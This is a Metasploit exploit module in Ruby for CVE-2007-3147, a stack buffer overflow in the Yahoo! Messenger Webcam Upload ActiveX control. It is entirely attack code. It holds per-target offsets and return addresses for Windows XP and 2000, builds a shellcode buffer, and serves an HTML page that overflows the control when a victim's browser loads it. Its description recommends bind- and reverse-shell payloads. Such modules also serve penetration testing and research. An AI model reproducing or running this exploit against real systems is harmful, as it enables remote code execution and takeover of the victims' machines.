82 lines
2.5 KiB
Ruby
82 lines
2.5 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Yahoo! Messenger 8.1.0.249 ActiveX Control Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in the Yahoo! Webcam Upload ActiveX
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Control (ywcupl.dll) provided by Yahoo! Messenger version 8.1.0.249.
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By sending an overly long string to the "Server()" method, and then calling
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the "Send()" method, an attacker may be able to execute arbitrary code.
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Using the payloads "windows/shell_bind_tcp" and "windows/shell_reverse_tcp"
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yield for the best results.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'MC' ],
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'References' =>
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[
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[ 'CVE', '2007-3147' ],
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[ 'OSVDB', '37082' ]
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 800,
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'BadChars' => "\x00\x09\x0a\x0d'\\",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows XP SP0/SP1 Pro English', { 'Offset' => 1032, 'Ret' => 0x71aa32ad } ],
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[ 'Windows 2000 Pro English All', { 'Offset' => 1032, 'Ret' => 0x75022ac4 } ]
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],
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'DisclosureDate' => '2007-06-05',
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'DefaultTarget' => 0))
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end
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def on_request_uri(cli, request)
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# Re-generate the payload
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return if ((p = regenerate_payload(cli)) == nil)
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# Randomize some things
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vname = rand_text_alpha(rand(100) + 1)
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strname = rand_text_alpha(rand(100) + 1)
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# Set the exploit buffer
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sploit = rand_text_alpha(target['Offset'] - p.encoded.length) + p.encoded
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sploit << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')
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sploit << [0xe8, -775].pack('CV') + rand_text_alpha(500)
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# Build out the message
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content = %Q|<html>
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<object classid='clsid:DCE2F8B1-A520-11D4-8FD0-00D0B7730277' id='#{vname}'></object>
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<script language='javascript'>
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#{strname} = new String('#{sploit}')
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#{vname}.server = #{strname}
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#{vname}.send()
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</script>
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</html>
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print_status("Sending #{self.name}")
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# Transmit the response to the client
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send_response_html(cli, content)
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# Handle the payload
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handler(cli)
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end
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end
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